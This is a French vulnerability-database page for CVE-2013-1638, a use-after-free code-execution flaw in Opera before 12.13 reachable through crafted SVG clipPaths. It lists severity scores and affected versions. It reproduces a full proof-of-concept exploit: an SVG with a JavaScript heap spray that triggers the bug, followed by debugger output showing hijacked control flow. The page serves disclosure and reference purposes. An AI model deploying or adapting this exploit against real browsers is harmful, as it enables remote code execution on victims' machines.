CVE-2013-1638 : Détail

CVE-2013-1638

Code Injection
A03-Injection
78.33%V3
Network
2013-02-08
10h00 +00:00
2013-03-08
09h00 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Opera before 12.13 allows remote attackers to execute arbitrary code via crafted clipPaths in an SVG document.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 24448

Date de publication : 2013-02-04 23h00 +00:00
Auteur : Cons0ul
EDB Vérifié : Yes

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w0.org/1999/xlink"> <g id="group"> <defs> <clipPath id="clip-circle" clip-path="url(#clip-rect)"> </clipPath> <clipPath id="clip-rect"> </clipPath> </defs> <circle id="rect" x="10" y="10" width="100" height="100" fill="green" /> </g> <script><![CDATA[ //Author=Cons0ul var b = new Array(); // this is our spray function where spray is allocated on LFH with exact size 0x78 // so 0x78 size of block is created so far we are creating 0x50000 blocks // to create 0x78 blocks we are using ArrayBuffer(); function feng_shui(){ for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection for(i=0;i<0x50000;i++){ payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine payload[0]=0x6c payload[1]=0x03 payload[2]=0xfe payload[3]=0x7f b.push(payload) } } // bug is use after free in handling of (use tag + clippath) witch try to access freed object // document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)"); var c = document.createElement('use'); c.setAttribute("xlink:href","rect") feng_shui(); document.getElementById('clip-rect').appendChild(c); document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug window.opera.collect() // <------ gc() frees the allocation feng_shui(); // <------------ we allocate our code at freed memory // at the end it tries freed block witch contains our data window.location.href=window.location.href; /* idc !heap -p -a ecx address 077c45e0 found in _HEAP @ b40000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 077c45d8 0010 0000 [00] 077c45e0 00078 - (free) PS C:\Users\cons0ul> idc db ecx 077c45e0 92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 .H.............. 077c45f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4600 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4620 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 077c4650 00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88 ..........j[.... PS C:\Users\cons0ul> idc r eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048 eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 Opera_6b430000!OpGetNextUninstallFile+0xf8583: 6b8c998b ff5008 call dword ptr [eax+8] ds:0023:7ffe489a=???????? */ ]]></script> </svg>

Products Mentioned

Configuraton 0

Opera>>Opera_browser >> Version To (including) 12.12

Opera>>Opera_browser >> Version 12.00

Opera>>Opera_browser >> Version 12.00

Opera>>Opera_browser >> Version 12.01

Opera>>Opera_browser >> Version 12.02

Opera>>Opera_browser >> Version 12.10

Opera>>Opera_browser >> Version 12.10

Opera>>Opera_browser >> Version 12.11

Références